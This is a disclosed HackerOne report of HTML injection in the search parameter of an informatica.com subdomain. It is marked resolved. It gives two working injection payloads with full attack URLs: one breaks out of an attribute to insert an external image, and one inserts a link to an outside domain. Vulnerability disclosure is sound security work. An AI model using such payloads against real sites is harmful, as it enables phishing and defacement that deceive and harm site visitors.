Html injection on ██████.informatica.com via search.html?q=1

Disclosed: 2021-02-12 12:51:34 By lu3ky-13 To informatica
Medium
Vulnerability Details
hello dear I have found HTML injection on ██████.informatica.com parameters injectable search.html?q=1 URL : https://████████.informatica.com/search.html?q=1%22%3E%3Cimg%20src=https://www.no-gods-no-masters.com/images_designs/anonymous-gandhi-d001001207265.png%3E%E2%80%[email protected]%20%22 payload ; 1"><img src=https://www.no-gods-no-masters.com/images_designs/anonymous-gandhi-d001001207265.png>”@x.y " https://█████.informatica.com/search.html?q=1%3Ca%20href=%22//bf.am%22%3EWelcome%3C/a%3E payload : <a href="//bf.am">Welcome</a> ## Impact Phising Abusing other user Defacing
Actions
View on HackerOne
Report Stats
  • Report ID: 1081656
  • State: Closed
  • Substate: resolved
  • Upvotes: 17
Share this report